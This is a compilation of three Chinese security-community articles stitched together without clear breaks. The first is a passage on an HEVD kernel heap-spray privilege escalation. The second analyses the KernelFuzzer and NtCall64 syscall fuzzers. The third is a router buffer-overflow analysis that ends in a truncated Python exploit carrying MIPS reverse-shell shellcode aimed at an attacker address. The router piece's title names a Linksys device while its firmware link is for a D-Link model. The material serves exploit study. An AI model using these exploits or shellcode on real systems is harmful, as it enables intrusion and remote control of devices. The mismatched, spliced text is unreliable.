最后就是关于这次challenge了，其实这个challenge非常好理解，如果做过浏览器或者其他跟堆有关漏洞的小伙伴肯定第一时间想到的就是Heap
Spray，没错，堆喷！
利用内核堆喷，我们可以完成对堆结构的控制，最后完成提权，在文章最后，我放一个我修改了UninitializedHeapVariable对应Exploit内容的项目地址，可以利用我的这个项目地址完成提权。
但是，内核堆喷和应用层的堆喷不太一样，要解决两个问题，第一个shellcode放在哪里，第二个如何在用户态向内核堆进行喷射。
解决问题的关键在于NtAllocateVirtualMemory和CreateMutex，首先NtAllocateVirtualMemory对于内核熟悉的小伙伴肯定不会陌生，看过我前面两篇内核调试学习的小伙伴也不会陌生，在很多内核漏洞利用场景中，都会用到这个函数，这个函数可以用来申请零页内存，来完成shellcode的布局。
如何布局是一个问题，这里来看一下漏洞触发位置的调用。
92319abd 83c408 add esp,8
92319ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
92319ac3 8b5104 mov edx,dword ptr [ecx+4]
92319ac6 ffd2 call edx {00460046}
如果我们能够控制edx的话，这里调用的就是刚才通过NtAllocateVirtualMemory申请的内存，这里可以直接往这里面存放shellcode，可是我从老外那学到了一种方法，就是获取shellcode的函数入口指针，然后这里存放68+addr+c3的组合，这样call调用后，执行的内容就是。
kd> t
00640066 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
这样，相当于将shellcode入口指针入栈，esp变成shellcode指针，然后ret，之后就会跳转到shellcode中执行shellcode，这样对于NtAllocateVirtualMemory布局操作就简单很多。
这样，我们只需要申请一个零页空间就行了。
kd> dd 00460046
00460046 35278068 0000c301
布置上我们的push shellcode addr;ret
然后就是关键的CreateMutex，这个会创建互斥体，我们申请多个互斥体，完成对堆的布局。
kd> p
KernelBase!CreateMutexA+0x19:
001b:75961675 e809000000 call KernelBase!CreateMutexExA (75961683)
kd> dd esp
0099e73c 00000000 0099f788 00000001 001f0001
0099e74c 0099f81c 0110320e 00000000 00000001
0099e75c 0099f788 9c1c5b57 00000000 00000000
0099e76c 00000000 00000000 00000000 00000000
0099e77c 00000000 00000000 00000000 00000000
0099e78c 00000000 00000000 00000000 00000000
0099e79c 00000000 00000000 00000000 00000000
0099e7ac 00000000 00000000 00000000 00000000
kd> dc 99f788
0099f788 46464646 67716870 656d7568 6e6c7961 FFFFphqghumeayln
0099f798 7864666c 63726966 78637376 77626767 lfdxfircvscxggbw
0099f7a8 716e666b 77787564 6f666e66 7273767a kfnqduxwfnfozvsr
0099f7b8 706a6b74 67706572 70727867 7976726e tkjprepggxrpnrvy
0099f7c8 776d7473 79737963 70716379 6b697665 stmwcysyycqpevik
0099f7d8 6d666665 6d696e7a 73616b6b 72737776 effmznimkkasvwsr
0099f7e8 6b7a6e65 66786379 736c7478 73707967 enzkycxfxtlsgyps
0099f7f8 70646166 00656f6f 9c1c5b57 0099e760 fadpooe.W[..`...
申请多个互斥体后，可以看到对池空间的控制。可以看到，第一个参数是mutexname，这个前面必须包含46，这样才能进行函数调用后，在pool中覆盖到00460046的值。
kd> r eax
eax=a6630b38
kd> !pool a6630b38
Pool page a6630b38 region is Paged pool
a6630000 size: 100 previous size: 0 (Allocated) IoNm
a6630100 size: 8 previous size: 100 (Free) 0.4.
a6630108 size: 128 previous size: 8 (Allocated) NtFs
a6630230 size: 8 previous size: 128 (Free) Sect
a6630238 size: 18 previous size: 8 (Allocated) Ntf0
a6630250 size: 38 previous size: 18 (Allocated) CMVa
a6630288 size: 68 previous size: 38 (Allocated) FIcs
a66302f0 size: f8 previous size: 68 (Allocated) ObNm
a66303e8 size: 138 previous size: f8 (Allocated) NtFs
a6630520 size: 100 previous size: 138 (Allocated) IoNm
a6630620 size: 128 previous size: 100 (Free) ObNm
a6630748 size: 68 previous size: 128 (Allocated) FIcs
a66307b0 size: 380 previous size: 68 (Allocated) Ntff
*a6630b30 size: f8 previous size: 380 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
这里a6630b30中包含了8字节的pool header，和0xf0的nopage pool，通过CreateMutex，我们会对kernel
pool占用。
kd> dd a6630b38
a6630b38 00000000 00460046 00780069 00620074
a6630b48 0074006b 00770065 00630071 006a0078
a6630b58 00740065 00720063 00730061 006a007a
a6630b68 006e0065 00790070 006a0064 00680061
a6630b78 00710067 00660072 006c007a 0079006f
a6630b88 007a0075 0068006f 00760074 006a0078
a6630b98 006b0063 00730073 00750064 00770077
可以看到，现在头部结构已经被00460046占用，接下来，还是由于UserValue和MagicValue的原因，引发Uninitialized Heap
Variable。
kd> g
Breakpoint 1 hit
HEVD+0x299e:
9231999e ff1598783192 call dword ptr [HEVD+0x898 (92317898)]
kd> p
HEVD+0x29a4:
923199a4 8945dc mov dword ptr [ebp-24h],eax
kd> dd eax
889f8610 00000000 00460046 00780069 00620074
kd> dd 00460046
00460046 35278068 0000c301
随后由于池中结构体的内容未初始化，内核池中存放的还是我们通过CreateMutex布置的内容，直接引用会跳转到我们通过NtAllocateVirtualMemory申请的空间。
kd> p
HEVD+0x2ac0:
95327ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
kd> p
HEVD+0x2ac3:
95327ac3 8b5104 mov edx,dword ptr [ecx+4]
kd> r ecx
ecx=a86c5580
kd> p
HEVD+0x2ac6:
95327ac6 ffd2 call edx
kd> t
00460046 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
kd> p
011414b0 53 push ebx
011414b0 53 push ebx
011414b1 56 push esi
011414b2 57 push edi
011414b3 60 pushad
011414b4 33c0 xor eax,eax
011414b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
011414bd 8b4050 mov eax,dword ptr [eax+50h]
011414c0 8bc8 mov ecx,eax
随后push shellcode之后，esp的值被修改，直接ret会跳转到shellcode address，执行提权。
最后我贴上更新后的项目代码。
https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall
* * * | 社区文章 |
这是内核漏洞挖掘技术系列的第十篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
第九篇：[内核漏洞挖掘技术系列(4)——syzkaller(5)](https://xz.aliyun.com/t/5401
"内核漏洞挖掘技术系列\(4\)——syzkaller\(5\)")
## 前言
KernelFuzzer(<https://github.com/mwrlabs/KernelFuzzer>)是一个mwrlab前几年在defcon24开源的内核fuzz工具，宣称支持Windows
7/10,OS X和QNX系统，PPT的题目就叫Platform Agnostic Kernel
Fuzzing(平台无关的内核Fuzzing)。但是我仔细看过代码之后觉得吹nb有点过分了，其实基本上也就只支持windows系统。不过它们github页面上还有一个OSX内核fuzz工具(<https://github.com/mwrlabs/OSXFuzz>)，两者的代码框架倒是有一些相似。
## 整体架构
我们首先还是来看一下代码的整体目录。
* crash_processing：处理crash
* crashes：产生的crash会存放在这个目录
* library_calls：要fuzz的库调用
* reproducer：复现crash(这个目录下就几行代码，基本没什么用)
* worker_setup：设置环境，启动fuzzer
* bughunt.c：启动fuzz的线程
* bughunt.h：提供一些返回随机字符或数组的函数
* bughunt_build_*_*.bat：编译用的bat文件
* bughunt_loop.py：处理发现的creash
* bughunt_syscall_x64/bughunt_syscall.asm：进行系统调用的汇编文件
* bughunt_syscalls.h：要fuzz的系统调用
* bughunt_thread.h：bughunt.c启动的进行fuzz的线程
* handles_database.h：生成各种各样的handle
* helpers.h：几个辅助函数
* hooking.h：设置和取消hook
* library_calls.h：library_calls目录下要fuzz的库调用
* logger.h：日志功能
使用需要先在主机上安装好VS环境，使用提供的bat文件编译出可执行文件，然后将所有文件拷贝到待fuzz的虚拟机系统，在虚拟机系统上安装好python环境，运行worker_setup.py。
## 代码分析
接下来从worker_setup.py开始分析。在worker_setup目录下除了worker_setup.py还有windbg的安装文件和禁用UAC，禁用自动更新，禁用锁屏，禁用Windows错误报告的注册表脚本文件。
在worker_setup.py中安装了windbg并执行了这些脚本文件，还安装了python的couchdb模块，配置dump文件路径，设置在登录时运行bughunt_loop.py的计划任务，为win32k.sys启用special
pool，开启内核调试，最后重启系统。在bughunt_loop.py中如果在C:/Dumps/目录下发现了.dmp文件就说明产生了crash，将其拷贝到新的文件夹，使用kd.exe打开该文件，输出记录到windbg.log，将.log日志文件拷贝到和.dmp文件相同的文件夹，调用couchdb_submit.py将crash信息提交到远程服务器上的数据库。然后运行bughunt.exe，线程设置为1，系统调用设置为350000，seed设置为1，timeout设置为10分钟。超时后执行一些清理工作并重启。
在bughunt.c中，如前所述，主要就是启动fuzz的线程。
在bughunt_thread.h的bughunt_thread函数中首先随机调用要fuzz的库调用。这里也可以看到本意可能是在进行库调用时随机用hooking.h提供的设置和取消hook的功能，但是实际上没有用到。
library_calls.h中有library_calls目录下要fuzz的所有库调用名，这里library_calls目录下只提供了一个GetSysColorBrush。
接下来就是随机进行系统调用了，根据bughunt_syscalls.h提供的参数类型信息随机生成对应的参数，这里也只提供了两个系统调用。
系统调用参数可以是bool，char，int，handle等几种情况，然后调用bughunt_syscall函数。
具体实现分别在bughunt_syscall.asm和bughunt_syscall_x64.asm中，分别处理32位和64位的情况。
32位下参数通过栈传递，提取系统调用号和系统调用参数压栈然后mov edx, 7FFE0300h和call dword ptr [edx]即可。
64位下前四个参数通过RCX，RDX，R8和R9传递，RCX，RDX，R8和R9原来是系统调用号，第一个参数，第二个参数，第三个参数，现在把系统调用号RCX放入RAX，参数依次向前挪，RCX赋值为RDX，RDX赋值为R8，R8赋值为R9，R9赋值为[rbp
+ 30h]。RCX，RDX，R8和R9现在是第一个参数，第二个参数，第三个参数，第四个参数，最后调用syscall指令。
## 功能拓展
从前面的分析我们可以看到代码的功能还是比较简陋的，也没有提供多少库调用和系统调用供fuzz。如果我们要增加更加的系统调用呢？系统调用表有现成的，但是参数好像没有现成的。我目前也只想到参考ReactOS的代码生成系统调用参数这个方法。
首先下载j00ru提供的系统调用表(<https://github.com/j00ru/windows-syscalls>)和ReactOS的代码(<https://github.com/reactos/reactos/archive/0.4.11-release.zip>)，找到ReactOS中含有对应系统调用的头文件(脚本运行需要的时间有点长)。
import os
import csv
import shutil
global allfiles
allfiles = []
def findstring(pathfile, syscallname):
file = open(pathfile, "r")
string = file.read()
if string.find(syscallname) != -1:
global allfiles
if pathfile not in allfiles:
allfiles.append(pathfile)
def readFilename(file_dir, syscallname):
for root, dirs, files in os.walk(file_dir):
for file in files:
if file.endswith(".h"):
full_path=os.path.join(root, file)
findstring(full_path, syscallname)
file_path = "F:\\windows-fuzzing\\ReactOS-0.4.11"
fscv = csv.reader(open("F:\\windows-fuzzing\\KernelFuzzer\\nt.csv", 'r'))
for row in fscv:
syscallname = row[0]
readFilename(file_path, syscallname)
fscv = csv.reader(open("F:\\windows-fuzzing\\KernelFuzzer\\win32k.csv", 'r'))
for row in fscv:
syscallname = row[0]
readFilename(file_path, syscallname)
print allfiles
然后用正则表达式转换成KernelFuzzer用的格式。
import re
import csv
def search_csv(str,fscv,f):
for row in fscv:
if str in row:
if row[26]:
syscallname = row[0]
syscallnumber = row[15]
#win10 1903:27
#win10 1809:26
#win10 1803:25
#win10 1709:24
#win7 SP1:15
#XP SP2:2
arguments = "{"
while True:
str = f.readline()
flag = 0
matchobj = re.search(r'(\s)+DWORD|int\s', str)
if matchobj:
flag = 1
arguments += " _INT32,"
matchobj = re.search(r'(\s)+DWORD_PTR\s', str)
if matchobj:
flag = 1
arguments += " _INT32_PTR,"
matchobj = re.search(r'(\s)+UINT\s', str)
if matchobj:
flag = 1
arguments += " _UINT32,"
matchobj = re.search(r'(\s)+UINT_PTR\s', str)
if matchobj:
flag = 1
arguments += " _UINT32_PTR,"
matchobj = re.search(r'(\s)+LONG\s', str)
if matchobj:
flag = 1
arguments += " _INT64,"
matchobj = re.search(r'(\s)+LONG_PTR\s', str)
if matchobj:
flag = 1
arguments += " _INT64_PTR,"
matchobj = re.search(r'(\s)+ULONG\s', str)
if matchobj:
flag = 1
arguments += " _UINT64,"
matchobj = re.search(r'(\s)+ULONG_PTR\s', str)
if matchobj:
flag = 1
arguments += " _UINT64_PTR,"
matchobj = re.search(r'(\s)+H(.*)\s', str)
if matchobj:
flag = 1
arguments += " _HANDLE,"
matchobj = re.search(r'(\s)+BOOL\s', str)
if matchobj:
flag = 1
arguments += " _BOOL,"
matchobj = re.search(r'(\s)+LPVOID\s|(\s)+PVOID\s', str)
if matchobj or flag == 0:
flag = 1
arguments += " _VOID_PTR,"
matchobj = re.search(r'\);', str)
if matchobj:
arguments += " NIL }, NIL },"
break
finalstr = " { ((DWORD)" + syscallnumber + "), " + arguments + " //" + syscallname
print finalstr
return True
return False
def locate_function_to_search(f):
while True:
str = f.readline()
if not str:
break
matchobj = re.search(r'Nt(.*)\(',str)
if matchobj:
index=str.find("(")
str = str[:index]
ntfile = open("F:\\windows-fuzzing\\KernelFuzzer\\nt.csv", 'r')
fntscv = csv.reader(ntfile)
if search_csv(str, fntscv, f) == True:
continue
win32kfile = open("F:\\windows-fuzzing\\KernelFuzzer\\win32k.csv", 'r')
fwin32kscv = csv.reader(win32kfile)
if search_csv(str, fwin32kscv, f) == True:
continue
if __name__ == '__main__':
files = (
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\lpcfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\sefuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\ntifs.template.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\exfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\iofuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\psfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\mmfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\mmfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\kefuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ddk\\ntpoapi.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\pofuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\base\\setup\\lib\\utils\\filesup.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\filesystems\\udfs\\Include\\nt_native.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\filesystems\\udfs\\Include\\zw_2_nt.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\obfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\psdk\\winternl.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\nttmapi.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\cmfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\winnt_old.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\dbgkfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\dbgktypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\iotypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\base\\setup\\lib\\utils\\regutil.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\rtlfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\pstypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\mmtypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\iotypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\filesystems\\udfs\\Include\\env_spec_w32.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\cmtypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\filesystems\\udfs\\CDRW\\scsi_port.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\storage\\ide\\uniata\\ntddscsi.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\storage\\ide\\uniata\\atapi.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\dll\\shellext\\shellbtrfs\\shellext.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\cmtypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\reactos\\drivers\\ntddrdsk.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\xdk\\psfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\potypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\psdk\\powrprof.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\kdfuncs.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\extypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\lpctypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\modules\\rostests\\win32\\DriverLoading\\Application\\DriverTester.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\filesystems\\udfs\\Include\\CrossNt\\CrossNt.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\storage\\ide\\uniata\\ntddk_ex.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\storage\\ide\\uniata\\inc\\CrossNt.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\modules\\rostests\\kmtests\\include\\kmt_test.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\reactos\\wine\\winioctl.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\reactos\\subsys\\win\\conmsg.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\psdk\\ntdll.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\drivers\\filesystems\\udfs\\Include\\env_spec_nt.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\reactos\\debug.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\ndk\\ketypes.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\psdk\\ntgdi.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\gdi\\gdi32\\include\\gdi32p.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\user\\ntuser\\painting.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\modules\\rostests\\dxtest\\win32kdxtest\\test.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\include\\ntgdibad.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\gdi\\ntgdi\\intgdi.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\include\\ntgdityp.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\gdi\\gdi32\\wine\\gdi_private.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\user\\ntuser\\winpos.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\include\\ntuser.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\user\\user32\\include\\ntwrapper.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\user\\user32\\include\\user_x.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\sdk\\include\\reactos\\undocuser.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\subsystems\\win32\\csrsrv\\status.h',
'F:\\windows-fuzzing\\ReactOS-0.4.11\\win32ss\\user\\ntuser\\cursoricon.h')
for file in files:
f = open(file)
locate_function_to_search(f)
将转换后的结果粘贴到bughunt_syscalls.h中就可以对更多的系统调用进行fuzz了。当然毕竟没有反馈驱动，很难就这样跑出漏洞。
另外我在github上还找到一个对windows系统调用进行的fuzz的工具NtCall64(<https://github.com/hfiref0x/NtCall64>)。在NtCall64Main中首先解析命令行参数，之后进入FuzzInitPhase1函数进行一些准备工作，然后调用FuzzInitPhase2函数。根据是否指定-win32k参数fuzz W32pServiceTable(win32k.sys)或者fuzz KiServiceTable(ntoskrnl.exe)。
解析系统调用表要用到三个重要的符号：表的基地址、表的大小和参数在栈上占用的字节数。对于win32k.sys这些符号的名称分别是W32pServiceTable、W32pServiceLimit和W32pArgumentTable；对于ntoskrnl.exe这些符号的名称分别是KiServiceTable、KiServiceLimit和KiArgumentTable。
fuzz W32pServiceTable因为已经导出，所以可以直接调用GetProcAddress取得它们的地址。
fuzz KiServiceTable因为没有导出，所以是通过特征码定位实现的。
FuzzInitPhase2函数继续依次调用FuzzRunThreadWithWait->FuzzThreadProc->DoSystemCall->
ntSyscallGate函数，最后在syscall.asm中完成系统调用。
在DoSystemCall函数中，可以看到系统调用的参数是完全从fuzzdata数组中随机选择的。
## 总结
这篇文章分析了KernelFuzzer的原理，同时对其进行了简单的扩展，使其对更多的系统调用进行fuzz。同时还以NtCall64为例展示了不同的对windows系统调用进行fuzz的方法。有兴趣可以自行继续对它们进行完善。
## 参考资料
1.[Platform Agnostic Kernel
Fuzzing](https://labs.mwrinfosecurity.com/publications/platform-agnostic-kernel-fuzzing/ "Platform Agnostic Kernel Fuzzing")
2.[MindshaRE: Walking the Windows Kernel with IDA
Python](https://www.thezdi.com/blog/2018/5/21/mindshare-walking-the-windows-kernel-with-ida-python "MindshaRE: Walking the Windows Kernel with IDA
Python") | 社区文章 |
[TOC]
# Linksys WRT54G路由器溢出漏洞分析–运行环境修复
固件下载：<http://files.dlink.com.au/Products/DIR-505/REV_A/Firmware/v1.05b04/>
nvram-faker动态库下载： <https://github.com/zcutlip/nvram-faker>
攻击机：192.168.40.146
路由器：192.168.40.200
qemu-system启动仿真系统：
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2\ .0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
# 利用scp传输路由器文件系统
sudo scp -r ./squashfs-root/ root@192.168.40.200:/root/
# 设法启动httpd
方法一：
这种方法没成功启动httpd（不知道它的具体开启文件在哪），只打开了个ftp服务。
方法二：
方法三（强制开启）：
sudo chroot ./ ./qemu-mipsel-static ./usr/sbin/httpd
`解释下附带./qemu-mipsel-static`：程序所依赖的动态链接库，让它自动识别找不到，所以在qemu用户模式中使用编译好的qemu-mipsel-static程序启动，使用qemu-mipsel-static程序中被编译进去的依赖库。
# IDA静态分析
根据分析得出伪代码推测：
wreadlen = wfread(post_buf,1,content-length,fhandle);
if(wreadlen)
strlen(post_buf);
读取长度为content-length的所有POST数据到post_buf，如果读取的POST数据长度不为0，就计算post_buf中数据的长度。
这里的content-length是POST参数的长度，在调用do_apply_post函数时并没有进行校验，而该长度在使用读取数据进入内存时也没有进行校验就直接读取了POST参数，因此导致了缓冲区溢出。
我们再看看产生缓冲区溢出的内存post_buf的位置。可以看到，post_buf位于HTTPD的
.data段中，如下图所示。在应用程序中，.data段用于存放已初始化的全局变量，这里的post_buf大小为0x2710字节（10 000字节）。
# 构造攻击
1，`tips:`IDA各子窗口打开处
2，根据.data段追溯，在漏洞分析中发现，该漏洞有一个特征，缓冲区溢出的数据覆盖到 .data段中的是全局变量。仔细分析能够发现在
.data段后面有以下段，如下图所示。
3，因为这些段是连续的并且可`写入（关键条件）`，所以我们考虑通过do_apply_post函数的漏洞使溢出数据连续覆盖 .data后面的多个段，直到将
.extern段中的strlen函数地址覆盖（IDA中粉红色字体标注的函数都来自extern段），这样，我们就可以在wfread函数覆盖内存以后，在调用strlen函数时将执行流程劫持并执行任意地址的代码，如下图所示。
4，在这里，只要填充0x2F32（0x1000D7A0 -0x10001AD8）字节的数据，就可以将原来的strlen调用位置填充为任意地址，并控制执行流程。但是，为了利用的稳定性和通用性，这里选择将strlen之后的一段数据一并覆盖，利用方法如下图所示。
在post_buf中填充NOP指令及Shellcode，将post_buf之后总共0x4000字节的数据全部覆盖为post_buf首地址，使布置的缓冲区总是能够覆盖strlen函数地址，strlen指向post_buf，如此一来，原来执行strlen的地方都会跳转到post_buf首地址去执行。这样就可以保证wfread()
函数布置完缓冲区以后，在0x004112D8处执行strlen函数时会被劫持到post_buf头部去执行我们的Shellcode了。
# ret2shellcode的方法实现POC
import sys
import struct,socket
import urllib2
def makepayload(host,port):
print '[*] prepare shellcode',
hosts = struct.unpack('<cccc',struct.pack('<L',host))
ports = struct.unpack('<cccc',struct.pack('<L',port))
mipselshell ="\xfa\xff\x0f\x24" # li t7,-6
mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zero
mipselshell+="\xfd\xff\xe4\x21" # addi a0,t7,-3
mipselshell+="\xfd\xff\xe5\x21" # addi a1,t7,-3
mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1
mipselshell+="\x57\x10\x02\x24" # li v0,4183 # sys_socket
mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
mipselshell+="\xff\xff\xa2\xaf" # sw v0,-1(sp)
mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)
mipselshell+="\xfd\xff\x0f\x34" # li t7,0xfffd
mipselshell+="\x27\x78\xe0\x01" # nor t7,t7,zero
mipselshell+="\xe2\xff\xaf\xaf" # sw t7,-30(sp)
mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c" # lui t6,0x1f90
mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35" # ori t6,t6,0x1f90
mipselshell+="\xe4\xff\xae\xaf" # sw t6,-28(sp)
mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c" # lui t6,0x7f01
mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35" # ori t6,t6,0x101
mipselshell+="\xe6\xff\xae\xaf" # sw t6,-26(sp)
mipselshell+="\xe2\xff\xa5\x27" # addiu a1,sp,-30
mipselshell+="\xef\xff\x0c\x24" # li t4,-17
mipselshell+="\x27\x30\x80\x01" # nor a2,t4,zero
mipselshell+="\x4a\x10\x02\x24" # li v0,4170 # sys_connect
mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
mipselshell+="\xfd\xff\x11\x24" # li s1,-3
mipselshell+="\x27\x88\x20\x02" # nor s1,s1,zero
mipselshell+="\xff\xff\xa4\x8f" # lw a0,-1(sp)
mipselshell+="\x21\x28\x20\x02" # move a1,s1 # dup2_loop
mipselshell+="\xdf\x0f\x02\x24" # li v0,4063 # sys_dup2
mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
mipselshell+="\xff\xff\x10\x24" # li s0,-1
mipselshell+="\xff\xff\x31\x22" # addi s1,s1,-1
mipselshell+="\xfa\xff\x30\x16" # bne s1,s0,68 <dup2_loop>
mipselshell+="\xff\xff\x06\x28" # slti a2,zero,-1
mipselshell+="\x62\x69\x0f\x3c" # lui t7,0x2f2f "bi"
mipselshell+="\x2f\x2f\xef\x35" # ori t7,t7,0x6269 "//"
mipselshell+="\xec\xff\xaf\xaf" # sw t7,-20(sp)
mipselshell+="\x73\x68\x0e\x3c" # lui t6,0x6e2f "sh"
mipselshell+="\x6e\x2f\xce\x35" # ori t6,t6,0x7368 "n/"
mipselshell+="\xf0\xff\xae\xaf" # sw t6,-16(sp)
mipselshell+="\xf4\xff\xa0\xaf" # sw zero,-12(sp)
mipselshell+="\xec\xff\xa4\x27" # addiu a0,sp,-20
mipselshell+="\xf8\xff\xa4\xaf" # sw a0,-8(sp)
mipselshell+="\xfc\xff\xa0\xaf" # sw zero,-4(sp)
mipselshell+="\xf8\xff\xa5\x27" # addiu a1,sp,-8
mipselshell+="\xab\x0f\x02\x24" # li v0,4011 # sys_execve
mipselshell+="\x0c\x01\x01\x01" # syscall 0x40404
print 'ending ...'
return mipselshell
try:
target = sys.argv[1]
except:
print "Usage: %s <target>" % sys.argv[0]
sys.exit(1)
url = "http://%s/apply.cgi" % target
#ip='192.168.230.136'
sip='192.168.1.100' #reverse_tcp local_ip
sport = 1234 #reverse_tcp local_port
DataSegSize = 0x4000
host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
payload = makepayload(host,sport)
addr = struct.pack("<L",0x10001AD8)
